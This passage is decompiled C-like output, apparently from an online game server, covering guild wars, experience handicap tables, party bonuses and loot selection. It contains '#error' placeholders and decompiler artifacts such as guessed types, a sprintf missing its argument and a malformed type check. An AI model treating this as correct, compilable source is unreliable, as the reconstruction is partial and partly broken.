GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupB, nType); v5->m_nTournamentType = nType; v5->m_nTournamentSeed = nSeed; return 1; } //----- (0045E200) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this) { signed int v1; // eax@1 v1 = 4096; do { this->gwm_Array[this->gwm_Pointer].attacker = 0; --v1; ++this->gwm_Pointer; } while ( v1 ); } //----- (0045E230) -------------------------------------------------------- GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@5 unsigned int v4; // edx@5 int v5; // eax@10 GuildWarElement *result; // eax@11 if ( a != b && a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; v4 = this->gwm_Array[v3].attacker; if ( v4 ) { if ( v4 == a && this->gwm_Array[v3].defender == b ) return &this->gwm_Array[this->gwm_Pointer]; if ( v4 == b && this->gwm_Array[v3].defender == a ) break; } v5 = v3 + 1; this->gwm_Pointer = v5; if ( v5 >= 4096 ) return 0; } result = (GuildWarElement *)((char *)this + 8 * this->gwm_Pointer); } else { result = 0; } return result; } //----- (0045E2B0) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( !this->gwm_Array[v3].attacker ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = a; this->gwm_Array[this->gwm_Pointer].defender = b; } } //----- (0045E310) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b) { int v3; // eax@4 int v4; // eax@5 if ( a && b ) { this->gwm_Pointer = 0; while ( 1 ) { v3 = this->gwm_Pointer; if ( this->gwm_Array[v3].attacker == a ) break; v4 = v3 + 1; this->gwm_Pointer = v4; if ( v4 >= 4096 ) return; } this->gwm_Array[this->gwm_Pointer].attacker = 0; } } //----- (0045E360) -------------------------------------------------------- void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b) { GuildWarManager::gwm_IsEnemyGuild(this, a, b); } //----- (0045E380) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1336))(); } //----- (0045E390) -------------------------------------------------------- #error "45E390: undefined or illegal type '#748' (funcsize=8)" //----- (0045E3B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 836))(); } //----- (0045E3C0) -------------------------------------------------------- #error "45E3C0: undefined or illegal type '#748' (funcsize=8)" //----- (0045E3E0) -------------------------------------------------------- #error "45E3E0: undefined or illegal type '#748' (funcsize=7)" //----- (0045E400) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd) { return clockwatch.cw_CurrTick - this->e_LastHitTime; } //----- (0045E410) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this) { this->lh4ed_Table[0] = 1.2; memcpy(&this->lh4ed_Table[1], this, 0x4A8u); memset(&this->lh4ed_Table[150], 0, 0x4B8u); this->lh4ed_Table[140] = 1.2; this->lh4ed_Table[141] = 1.2; this->lh4ed_Table[142] = 1.2; this->lh4ed_Table[143] = 1.2; this->lh4ed_Table[144] = 1.2; this->lh4ed_Table[145] = 1.2; this->lh4ed_Table[146] = 1.15; this->lh4ed_Table[147] = 1.1; this->lh4ed_Table[148] = 1.05; this->lh4ed_Table[149] = 1.0; this->lh4ed_Table[150] = 1.0; this->lh4ed_Table[151] = 1.0; this->lh4ed_Table[152] = 0.95; this->lh4ed_Table[153] = 0.85; this->lh4ed_Table[154] = 0.75; this->lh4ed_Table[155] = 0.65; this->lh4ed_Table[156] = 0.5; this->lh4ed_Table[157] = 0.35; this->lh4ed_Table[158] = 0.15; this->lh4ed_Table[159] = 0.01; this->lh4ed_Table[160] = 0.005; } //----- (0045E540) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or) { int v2; // ebp@1 signed int v3; // ebx@1 void *v4; // esi@2 int v5; // eax@2 ORToken v6; // [sp-24h] [bp-44h]@2 int v7; // [sp-20h] [bp-40h]@2 int v8; // [sp-1Ch] [bp-3Ch]@2 int v9; // [sp-18h] [bp-38h]@2 int v10; // [sp-14h] [bp-34h]@2 char *v11; // [sp-10h] [bp-30h]@2 int v12; // [sp-Ch] [bp-2Ch]@2 int v13; // [sp-8h] [bp-28h]@2 int *v14; // [sp-4h] [bp-24h]@2 int lastvalue; // [sp+10h] [bp-10h]@1 LevelHandicap4ExperienceDouble *v16; // [sp+14h] [bp-Ch]@1 int tp; // [sp+18h] [bp-8h]@2 ORToken *v18; // [sp+1Ch] [bp-4h]@2 v2 = -1; lastvalue = -1; v3 = -150; v16 = this; do { v14 = &tp; v13 = 0; v12 = (unsigned __int16)v3; v11 = "LevelDiff"; v18 = &v6; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)&v6.ort_Name[0] = 0; strncpy(v6.ort_Name, "ByLevelDiff", 0x14u); v4 = OptionReader::or_Select(or, "Bonus", v6, v11, v12, v13, v14); v5 = 0; if ( v4 ) { LOBYTE(v5) = tp == 4; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "LevelHandicap4ExperienceDouble::lh4ed_Load : Type error", 0); ShineExit("LevelHandicap4ExperienceDouble::lh4ed_Load"); } v2 = *(_WORD *)v4; lastvalue = *(_WORD *)v4; } else { LOBYTE(v5) = v2 >= 0; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "LevelHandicap4ExperienceDouble::lh4ed_Load : lastvalue not set", v2); ShineExit("LevelHandicap4ExperienceDouble::lh4ed_Load"); } } ++v3; v16 = (LevelHandicap4ExperienceDouble *)((char *)v16 + 8); *((double *)v16 - 1) = (double)lastvalue * 0.001; } while ( v3 <= 150 ); } //----- (0045E640) -------------------------------------------------------- void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or) { OptionReader *v2; // ebp@1 int v3; // edi@1 void *v4; // esi@2 ORToken v5; // [sp-24h] [bp-3Ch]@2 int v6; // [sp-20h] [bp-38h]@2 int v7; // [sp-1Ch] [bp-34h]@2 int v8; // [sp-18h] [bp-30h]@2 int v9; // [sp-14h] [bp-2Ch]@2 char *v10; // [sp-10h] [bp-28h]@2 int v11; // [sp-Ch] [bp-24h]@2 int v12; // [sp-8h] [bp-20h]@2 int *v13; // [sp-4h] [bp-1Ch]@2 ORToken *v14; // [sp+10h] [bp-8h]@2 PartyExperienceBonusDouble *v15; // [sp+14h] [bp-4h]@1 v2 = or; v15 = this; v3 = 0; do { v13 = (int *)∨ v12 = 0; v11 = v3; v10 = "PartyMember"; v14 = &v5; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)&v5.ort_Name[0] = 0; strncpy(v5.ort_Name, "ByPartyMem", 0x14u); v4 = OptionReader::or_Select(v2, "Bonus", v5, v10, v11, v12, v13); if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : lastvalue not set", v3); ShineExit("PartyExperienceBonusDouble::pebd_Load"); } if ( or != (OptionReader *)4 ) { AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : Type error", 0); ShineExit("PartyExperienceBonusDouble::pebd_Load"); } v14 = (ORToken *)*(_WORD *)v4; v15->pebd_Bonus[v3++] = (double)(signed int)v14 * 0.001; } while ( v3 <= 5 ); } //----- (0045E720) -------------------------------------------------------- #error "45E720: undefined or illegal type '#331' (funcsize=24)" //----- (0045E770) -------------------------------------------------------- char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ListMaximumSearch *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = this->lms_compfunc(ele, this->lms_lst, handle); if ( !v3->lms_max || v4 > v3->lms_maxval ) { v3->lms_max = ele; v3->lms_maxval = v4; v3->lms_hnd = handle; } return 1; } //----- (0045E7B0) -------------------------------------------------------- void __thiscall List::_List(HitMeList::EnemyList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5B0D54: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); //----- (0045E7D0) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key) { HitMeList::Enemy *v4; // esi@1 HitMeList::Enemy::__unnamed v5; // eax@1 int v6; // esi@2 HitMeList::Enemy::__unnamed v7; // eax@4 HitMeList::Enemy::__unnamed v8; // edx@4 char *v10; // [sp-4h] [bp-1Ch]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::Enemy::e_ObjCompare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::Enemy::e_ObjCompare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->e_Type; if ( v4->e_Type != key->e_Type ) { v6 = v5 - key->e_Type; LABEL_8: v10 = "HitMeList::Enemy::e_ObjCompare"; goto LABEL_9; } if ( v5 ) { v6 = LOWORD(v4->e_AttackerInfo) - LOWORD(key->e_AttackerInfo); goto LABEL_8; } v7 = v4->e_AttackerInfo; v8 = key->e_AttackerInfo; v10 = "HitMeList::Enemy::e_ObjCompare"; if ( v7 == v8 ) v6 = *(_WORD *)&v4->gap8[0] - *(_WORD *)&key->gap8[0]; else v6 = v7 - v8; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v6; } //----- (0045E8A0) -------------------------------------------------------- #error "45E8A0: undefined or illegal type '#331' (funcsize=38)" //----- (0045E950) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this) { ScanEnemy4ExpDist *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ScanEnemy4ExpDist::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5A6594: using guessed type int (__thiscall *ScanEnemy4ExpDist___vftable_)(ScanEnemy4ExpDist *this, int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0045E9D0) -------------------------------------------------------- #error "45E9D0: undefined or illegal type '#331' (funcsize=37)" //----- (0045EA80) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // edi@1 unsigned __int16 v4; // ax@1 unsigned __int16 v5; // [sp-4h] [bp-20h]@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::se4ed_CheckParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = LOWORD(ele->e_AttackerInfo); if ( v4 >= 0x7D0u ) { AssertClass::ac_AssertFail(&shineassert, "ScanEnemy4ExpDist::se4ed_CheckParty : Too large party handle", v4); v5 = handle; LABEL_5: ScanEnemy4ExpDist::se4ed_FreeElement(v3, ele, v5); goto LABEL_6; } if ( partycontainer.m_Array[LOWORD(ele->e_AttackerInfo)].NumOfMember <= 1u ) { v5 = handle; goto LABEL_5; } LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); } //----- (0045EB60) -------------------------------------------------------- #error "45EB60: undefined or illegal type '#331' (funcsize=80)" //----- (0045EC70) -------------------------------------------------------- long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob) { LevelHandicap4ExperienceDouble *v4; // esi@1 long double result; // st7@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LevelHandicap4ExperienceDouble::lh4ed_Handicap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( levplayer > 5 ) { result = v4->lh4ed_Table[levplayer - levmob + 150]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); result = 1.0; } return result; } //----- (0045ED40) -------------------------------------------------------- #error "45ED40: undefined or illegal type '#331' (funcsize=62)" //----- (0045EE20) -------------------------------------------------------- #error "45EE20: undefined or illegal type '#331' (funcsize=224)" //----- (0045F120) -------------------------------------------------------- void __cdecl HitMeList::hml_Load(Name4 *world) { unsigned int v1; // eax@1 char *v2; // eax@1 int v3; // ecx@1 char v4; // bl@2 int v5; // eax@2 char path[128]; // [sp+0h] [bp-108E4h]@1 OptionReader or; // [sp+80h] [bp-10864h]@1 unsigned int cookie; // [sp+108D4h] [bp-10h]@5 int v9; // [sp+108E0h] [bp-4h]@1 OptionReader::OptionReader(&or); v1 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v1; v2 = (char *)&namestring + 256 * v1; *(_QWORD *)v2 = *(_QWORD *)&world->n4_name[0]; *((_DWORD *)v2 + 2) = *(_DWORD *)&world->n4_name[8]; v3 = *(_DWORD *)&world->n4_name[12]; v9 = 0; *((_DWORD *)v2 + 3) = v3; v2[16] = 0; sprintf(path, "../9Data/Shine/World/%s/ExpRecalculation.txt"); if ( !OptionReader::or_Read(&or, path) ) { v4 = OptionReader::or_Read(&or, "../9Data/Shine/World/ExpRecalculation.txt"); v5 = OptionReader::or_ErrorLine(&or); if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "Error in read ExpRecalculation.txt", v5); ShineExit("HitMeList::hml_Load"); } } LevelHandicap4ExperienceDouble::lh4ed_Load(&lh4ed, &or); PartyExperienceBonusDouble::pebd_Load(&pebd, &or); v9 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (0045F270) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16), unsigned __int16 *hnd) { HitMeList::Enemy *result; // eax@1 int searcher; // [sp+0h] [bp-24h]@1 List *v5; // [sp+4h] [bp-20h]@1 HitMeList::Enemy *v6; // [sp+Ch] [bp-18h]@1 unsigned __int16 v7; // [sp+10h] [bp-14h]@1 int (__thiscall *v8)(HitMeList::Enemy *, List *, unsigned __int16); // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 searcher = (int)ListMaximumSearch::_vftable_; v5 = this; v6 = 0; v8 = compfunc; v9 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v6; *hnd = v7; return result; } // 5A656C: using guessed type int (__stdcall *ListMaximumSearch_HitMeList__Enemy____vftable_[2])(int ele, __int16 handle); //----- (0045F2D0) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key) { HitMeList::Enemy *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(HitMeList::Enemy *, List *, unsigned __int16, HitMeList::Enemy *); // [sp+8h] [bp-1Ch]@1 HitMeList::Enemy *v8; // [sp+Ch] [bp-18h]@1 HitMeList::Enemy *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (0045F340) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0045F460) -------------------------------------------------------- #error "45F460: undefined or illegal type '#331' (funcsize=144)" //----- (0045F650) -------------------------------------------------------- unsigned int __thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, char *loot_party) { HitMeList::EnemyList *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // si@1 int v6; // edx@1 unsigned __int16 v7; // bp@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 HitMeList::Enemy *v11; // edi@5 HitMeList::Enemy *v12; // edx@10 int v13; // eax@13 char v14; // dl@13 int v15; // eax@13 unsigned int result; // eax@17 unsigned int v17; // esi@19 unsigned __int16 v18; // [sp+14h] [bp-14h]@1 int maxdam; // [sp+18h] [bp-10h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::EnemyList::el_FindLooter"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Finger.store; v4 = v2->baseclass_0.l_Array; v5 = v2->baseclass_0.l_MaxSize; v6 = 0; v7 = v4[v3].ls_Next; maxdam = 0; v18 = v5; while ( v7 < v5 ) { v8 = v7; v9 = v7; v10 = v7 < v5; v7 = v4[v7].ls_Next; if ( v10 && v4[v8].ls_IsActiv ) v11 = v4[v8].ls_Content; else v11 = 0; v5 = v18; if ( v11->e_TotalDamage > maxdam ) { if ( v9 < v18 && v4[v8].ls_IsActiv ) v12 = v4[v8].ls_Content; else v12 = 0; maxdam = v12->e_TotalDamage; if ( v9 < v18 && (v13 = 3 * v8, v14 = v4[4 * v13 / 0xCu].ls_IsActiv, v15 = (int)&v4[4 * v13 / 0xCu], v14) ) v6 = *(_DWORD *)v15; else v6 = 0; } } if ( v6 ) { if ( *(_DWORD *)v6 == 1 ) { *loot_party = 1; v17 = *(_WORD *)(v6 + 4); } else { *loot_party = 0; v17 = *(_WORD *)(v6 + 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); result = v17; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); result = -1; } return result; } //----- (0045F7C0) -------------------------------------------------------- void __thiscall HitMeList::EnemyList::el_ExpDistribute(HitMeList::EnemyList *this, #331 *mob, MobDataBox::MobDataBoxIndex *mobinf, unsigned __int16 mobhandle) { List *v4; // esi@1 MobInfoServer *v5; // ST08_4@1 MobInfoServer *v6; // eax@1 char se; // [sp+10h] [bp-38h]@1 int v8; // [sp+18h] [bp-30h]@1 int (__stdcall **ed)(int, __int16); // [sp+24h] [bp-24h]@1 MobDataBox::MobDataBoxIndex *v10; // [sp+28h] [bp-20h]@1 int v11; // [sp+2Ch] [bp-1Ch]@1 #331 *v12; // [sp+30h] [bp-18h]@1 MobInfoServer *v13; // [sp+34h] [bp-14h]@1 unsigned __int16 v14; // [sp+38h] [bp-10h]@1 int v15; // [sp+44h] [bp-4h]@1 v4 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::EnemyList::el_ExpDistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::EnemyList::el_ExpDistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = mobinf->serv; v15 = 0; ScanEnemy4ExpDist::ScanEnemy4ExpDist((ScanEnemy4ExpDist *)&se, v4, mob, v5); LOBYTE(v15) = 1; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&se); v6 = mobinf->serv; ed = (int (__stdcall **)(int, __int16))&ExperienceDistribute::_vftable_; v10 = mobinf; v11 = v8; v12 = mob; v13 = v6; v14 = mobhandle; LOBYTE(v15) = 2; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&ed); ed = &ListIteratorDefault::_vftable_; LOBYTE(v15) = 0; ScanEnemy4ExpDist::_ScanEnemy4ExpDist((ScanEnemy4ExpDist *)&se); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_ExpDistribute"); } // 5A66CC: using guessed type int (__thiscall *ExperienceDistribute___vftable_)(ExperienceDistribute *this, int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0045F8D0) -------------------------------------------------------- char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ele->e_Type ) ScanEnemy4ExpDist::se4ed_CheckParty(v3, ele, handle); else ScanEnemy4ExpDist::se4ed_CheckSoloing(v3, ele, handle); v3->se4ed_TotalDamage += ele->e_TotalDamage; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); return 1; } //----- (0045F990) -------------------------------------------------------- void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this) { HitMeList::EnemyList *v1; // esi@1 signed int v2; // edi@1 int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 HitMeList::Enemy *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 HitMeList::Enemy *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 HitMeList::Enemy *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 HitMeList::Enemy *v16; // ebp@12 int v17; // ecx@12 ListIteratorDefault arg; // [sp+14h] [bp-14h]@15 HitMeList::EnemyList *v19; // [sp+18h] [bp-10h]@15 int v20; // [sp+24h] [bp-4h]@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x10u); v20 = 0; v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 0; v4 = (int)&v1->el_array[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 24; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 24; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 48; } v4 += 96; v3 += 4; v2 += 4; --v5; } while ( v5 ); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v19 = v1; LOBYTE(v20) = 1; List::l_4AllInList((List *)v1, &arg); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5B0D54: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); //----- (0045FAA0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (0045FAC0) -------------------------------------------------------- #error "45FAC0: undefined or illegal type '#331' (funcsize=39)" //----- (0045FB70) -------------------------------------------------------- #error "45FB70: undefined or illegal type '#331' (funcsize=51)" //----- (0045FC40) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(int upper) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); } //----- (0045FC90) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); } //----- (0045FCE0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); } //----- (0045FD20) -------------------------------------------------------- #error "45FD20: undefined or illegal type '#331' (funcsize=85)" //----- (0045FE60) -------------------------------------------------------- void 